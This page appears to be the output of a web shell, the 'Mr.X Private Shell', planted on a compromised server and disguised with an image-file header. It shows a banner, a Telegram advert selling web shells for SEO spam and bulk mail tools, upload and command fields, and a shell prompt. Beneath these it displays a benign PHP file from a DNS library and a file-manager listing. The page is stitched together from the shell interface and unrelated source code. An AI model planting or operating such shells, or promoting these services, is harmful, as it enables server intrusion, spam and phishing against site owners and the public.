����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
<?php

declare(strict_types=1);

/*
 * This file is part of Badcow DNS Library.
 *
 * (c) Samuel Williams <sam@badcow.co>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Badcow\DNS\Edns\Option;

/**
 * @see https://www.rfc-editor.org/rfc/rfc7828.html#section-3.1
 */
class TCP_KEEPALIVE implements OptionInterface
{
    use OptionTrait;

    public const NAME = 'TCP_KEEPALIVE';
    public const CODE = 11;

    /**
     * @var int|null
     */
    protected $timeout;

    public function getTimeout(): ?int
    {
        return $this->timeout;
    }

    public function setTimeout(?int $timeout): void
    {
        $this->timeout = $timeout;
    }

    public function toWire(): string
    {
        if (null === $this->timeout) {
            return '';
        }

        return pack('n', $this->timeout);
    }

    public function fromWire(string $optionValue, int &$offset = 0, ?int $optionLength = null): void
    {
        $optionLength = $optionLength ?? strlen($optionValue);
        if (0 !== $optionLength and 2 !== $optionLength) {
            throw new DecodeException(self::NAME, $optionValue);
        }
        if (2 === $optionLength) {
            $integers = unpack('ntimeout', $optionValue, $offset);
            if (false === $integers) {
                throw new DecodeException(self::NAME, $optionValue);
            }
            $offset += 2;
            $this->timeout = $integers['timeout'];
        }
    }
}

Filemanager

Name Type Size Permission Actions
CLIENT_SUBNET.php File 3.68 KB 0644
COOKIE.php File 2.06 KB 0644
Codes.php File 2.18 KB 0644
DecodeException.php File 669 B 0644
Factory.php File 1.76 KB 0644
OptionInterface.php File 1.37 KB 0644
OptionTrait.php File 527 B 0644
TCP_KEEPALIVE.php File 1.5 KB 0644
UnknownOption.php File 1.64 KB 0644
UnsupportedOptionException.php File 490 B 0644